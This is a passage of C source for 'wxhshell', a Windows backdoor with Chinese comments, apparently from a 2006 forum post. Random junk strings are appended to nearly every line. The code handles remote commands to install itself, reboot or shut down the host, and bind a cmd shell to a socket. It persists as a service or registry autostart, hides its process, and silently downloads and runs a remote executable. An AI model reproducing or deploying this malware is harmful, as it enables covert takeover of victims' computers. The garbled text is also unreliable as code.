ccD+AGM.  
    switch(cmd[0]) { WyL+HB}  
  Fnw:alWr  
  // 帮助 dAo;y.3  
  case '?': { Rj8%% G-pt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P]_d;\ !"v  
    break; 8%?y)K^ D  
  } K1B9t{T  
  // 安装 MmuT~d/  
  case 'i': { ^J!q>KJs  
    if(Install()) bx@l6bpQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V~J5x >O  
    else -yYdj1y;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'rQ"Dc1D  
    break; A'WR!*Yt  
    } :2 ;Jo^6Se  
  // 卸载 KyvZ? R  
  case 'r': { G0cG%sIl  
    if(Uninstall()) Tkbao D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .])prp8  
    else NFK`,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F L0uY0K  
    break; 7nZPh3%  
    } e#eVc'=cDR  
  // 显示 wxhshell 所在路径 bF)G+IH  
  case 'p': { !3ggQG!e  
    char svExeFile[MAX_PATH]; hsZ/Vnn`  
    strcpy(svExeFile,"\n\r"); H}@:Bri  
      strcat(svExeFile,ExeFile); L * n K> +  
        send(wsh,svExeFile,strlen(svExeFile),0); =bVPHrKNQ  
    break; /?\3%<vn  
    } G dgL}"*F  
  // 重启 92+8zX  
  case 'b': { c\bL_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {pzj@b 1S  
    if(Boot(REBOOT)) nQ%HtXt;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vW63j't_  
    else { " \$^j#o  
    closesocket(wsh); }[*'  
    ExitThread(0); <=uYfi3,  
    } D28`?B9 (  
    break; 8% @| /  
    } Ic& h8vSU  
  // 关机 WzMYRKZ  
  case 'd': { D7Q+w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); En5oi  
    if(Boot(SHUTDOWN)) G)3I+uxn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }x8!{Y#cF  
    else { 1+o]+Jz|  
    closesocket(wsh); hy;VvAH 5  
    ExitThread(0); IRdt:B|@  
    } O 4 !$  
    break; E+td~&x  
    } hbjAxioA  
  // 获取shell *[Hrbln  
  case 's': { #;!&8iH  
    CmdShell(wsh); #cbgp;,M{I  
    closesocket(wsh); S63 Zk0(25  
    ExitThread(0); (!j#u)O  
    break; 6CJMQi,kn  
  } 3} A$+PX  
  // 退出 K*6"c.D  
  case 'x': { 0lw>mxN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X/!_>@`7?  
    CloseIt(wsh); xad`-vw  
    break; Jh[0xb  
    } Onmmcem  
  // 离开 Bd>~F7VWs  
  case 'q': { (IJNBJb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _|HhT^\P  
    closesocket(wsh); 1uF$$E6[  
    WSACleanup(); Q YJ EUC@  
    exit(1); 2*Z2uV^  
    break;  8*ZsR)!  
        } voWH.[n^_  
  } xNz(LZ.c  
  } :<% bAn  
UHBXq;?&q  
  // 提示信息 K^- 1M?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w~'xZ?  
} f| RmAP;X,  
  } *Cy54Z#  
^l &lwSRVt  
  return; 6( HF)z  
} .nV2 n@SR  
HL)!p8UHJ  
// shell模块句柄 DA=!AK>  
int CmdShell(SOCKET sock) ~lj~]j  
{ 0D-`>_  
STARTUPINFO si; ]`^! ]Ql  
ZeroMemory(&si,sizeof(si)); Ob d n#Wm=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $JE,u' JQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !(s n9z#  
PROCESS_INFORMATION ProcessInfo; e3~MU6  
char cmdline[]="cmd"; > mGH4{H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -@To<<`n  
  return 0; qY_qS=H^  
} Vns3859$8  
K!|eN_1A  
// 自身启动模式 VK}4 <u  
int StartFromService(void) 8&<:(mAP  
{ rTD+7 )E  
typedef struct ?vXgHDs^T  
{ wjarQog5Y  
  DWORD ExitStatus; =u~nLL  
  DWORD PebBaseAddress; p6M9uu  
  DWORD AffinityMask; WhPP4 #  
  DWORD BasePriority; tRjv  -  
  ULONG UniqueProcessId; ] 5Cr$%H=  
  ULONG InheritedFromUniqueProcessId; ,5DJ54B!  
}   PROCESS_BASIC_INFORMATION; \j8vf0c5b  
]TV_ p[L0B  
PROCNTQSIP NtQueryInformationProcess; 'C+cQLig@  
sEhvx +(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mk! Fy]3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /qpSmRL  
h$S#fY8   
  HANDLE             hProcess; Y\xEPh  
  PROCESS_BASIC_INFORMATION pbi; 'K[ml ?_  
oqrx7 +0{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V^~RDOSy7n  
  if(NULL == hInst ) return 0; g?j)p y  
FaHOutP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =~^b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /Vlc8G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "~KDm(D  
PN* .9;5Z  
  if (!NtQueryInformationProcess) return 0; )ycI.[C  
-H| 9 82=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U ?[ (  
  if(!hProcess) return 0; K7}.#*% ~  
<'Q6\R}:vC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qpQ;,8X-"  
hA=uoe\  
  CloseHandle(hProcess); ]uXJjS f  
0B6!$) *-i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o |$D|E  
if(hProcess==NULL) return 0; .#EU@Hc  
\S}/2]* 1  
HMODULE hMod; 4,RPidv%O  
char procName[255]; E^8|xT'h6  
unsigned long cbNeeded; xd Z$|{,  
Z)!8a$M~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i'Y8-})  
=NB[jQ :(  
  CloseHandle(hProcess); aNbS0R>l  
/VR~E'Cy%  
if(strstr(procName,"services")) return 1; // 以服务启动 R'BB-  
h5?^MRZS  
  return 0; // 注册表启动 VKa+[  
} $5nMD=   
2>z YJqG|  
// 主模块 }YwaN'3p!  
int StartWxhshell(LPSTR lpCmdLine) 1 ?@HOu  
{ >%/x~UFc5  
  SOCKET wsl; yT ^x0?U  
BOOL val=TRUE; {16a P  
  int port=0; WjD885Xo  
  struct sockaddr_in door; )~2\4t4|g  
\J LGw1F  
  if(wscfg.ws_autoins) Install(); Bdo{zv&A  
y r (g/0  
port=atoi(lpCmdLine); |)x7qy`  
Ek +R  
if(port<=0) port=wscfg.ws_port; s$Vl">9#  
0U42QEG2  
  WSADATA data; @yp0WB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $8^Hk xy  
\gA!)q.;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }[0nTd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qqDg2,Yb  
  door.sin_family = AF_INET; Z\ hcK:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =v2 |QuS$  
  door.sin_port = htons(port); ;lObqs*?>  
2|pTw5z~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -wU]L5uP  
closesocket(wsl); (/y8KG 3  
return 1; .Fb#j+Lq  
} J8i;E 4R  
vQWmHv\P  
  if(listen(wsl,2) == INVALID_SOCKET) { i)#-VOhX)  
closesocket(wsl); j~v`q5X  
return 1; @SX%q&-  
} ;|Cd q  
  Wxhshell(wsl); s5~k]"{j  
  WSACleanup(); c^}G=Z1@  
.*zN@y3  
return 0; ^O|fw?,  
y2W+YV*  
} /x3*oO1  
pBtO1x6x/  
// 以NT服务方式启动 `[H^ `   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :7e*- '  
{ gt{kjrTv&  
DWORD   status = 0; _CD~5EA:  
  DWORD   specificError = 0xfffffff; WD5J2EePT  
 ETZf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7F<{ Qn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G ;j1zs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @*%3+9`yq  
  serviceStatus.dwWin32ExitCode     = 0; ? AfThJc  
  serviceStatus.dwServiceSpecificExitCode = 0; a4:GGzt  
  serviceStatus.dwCheckPoint       = 0; 0ix(1`Z  
  serviceStatus.dwWaitHint       = 0; >u=  
"FHJ_$!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q,?_;,I}  
  if (hServiceStatusHandle==0) return; xG!~TQ  
l7`{O/hN  
status = GetLastError(); &'6/H/J  
  if (status!=NO_ERROR) [?K>s>it  
{ [>ghs_?dZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 77\+V 0cF  
    serviceStatus.dwCheckPoint       = 0; u\LNJo| B  
    serviceStatus.dwWaitHint       = 0; 1$Hou   
    serviceStatus.dwWin32ExitCode     = status; Q4XlYgIV2A  
    serviceStatus.dwServiceSpecificExitCode = specificError; oh5'Isb$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sL@\,]Y  
    return; SZGR9/* ^  
  } Q/o,2R  
|>Q>d8|k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]zx%"SUM  
  serviceStatus.dwCheckPoint       = 0; h@RpS8!Bi  
  serviceStatus.dwWaitHint       = 0; Ysm RY=3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fcq8aW/z_  
} bPVk5G*ruP  
461g7R%r  
// 处理NT服务事件,比如:启动、停止 8 063LWV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SkuR~!  
{ JrcbJt  
switch(fdwControl) b1Vr>:sK47  
{ 4,y7a=qf3  
case SERVICE_CONTROL_STOP: f*%kHfaXgN  
  serviceStatus.dwWin32ExitCode = 0; Fz#@[1,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >zJHvb)b\  
  serviceStatus.dwCheckPoint   = 0; U["0B8  
  serviceStatus.dwWaitHint     = 0; r+#{\~r7T  
  { x2v0cR"KL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N7?]eD  
  } )rEl{a  
  return; Y` }X5(A@  
case SERVICE_CONTROL_PAUSE: @i#JlZM_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B:h<iU:'D  
  break; |_?e.}K  
case SERVICE_CONTROL_CONTINUE: HOx4FXPs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oq7G=8gTp  
  break; C1 ^%!)  
case SERVICE_CONTROL_INTERROGATE: a0NiVF-m%  
  break; jG>W+lq  
}; Zn9tG:V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8-#kY}d.  
} 3ijPm<wn  
^ ]9K>}  
// 标准应用程序主函数 _}R9!R0O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vn5T Jw  
{ bK:U:vpYm  
_?-oPb  
// 获取操作系统版本 <AU*lLZ  
OsIsNt=GetOsVer(); FKO2UY#&7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .B]l@E-u  
"t^v;?4  
  // 从命令行安装 W>#yXg9  
  if(strpbrk(lpCmdLine,"iI")) Install(); gqS9{K(f  
0+SDFh  
  // 下载执行文件 tWn dAM(U7  
if(wscfg.ws_downexe) { nI6 gd%C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +q&Hj|;8r  
  WinExec(wscfg.ws_filenam,SW_HIDE); SnE^\I^O  
} ?^voA.Bv<  
d,GOP_N8I  
if(!OsIsNt) { )$]lf }  
// 如果时win9x,隐藏进程并且设置为注册表启动 =}Tm8b0  
HideProc(); vM/*S 6[  
StartWxhshell(lpCmdLine); Z3]I^i FI  
} wPg/.N9H  
else /\%<VBx ?q  
  if(StartFromService()) rZ?:$],U!  
  // 以服务方式启动 JpS}X\]i  
  StartServiceCtrlDispatcher(DispatchTable); JP4DV=}L  
else AW5iwq6p  
  // 普通方式启动 ET.jjV  
  StartWxhshell(lpCmdLine); c)#P}Ai  
l 5-[a  
return 0; !<M eWo  
}
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只看该作者 1 发表于: 2006-10-10
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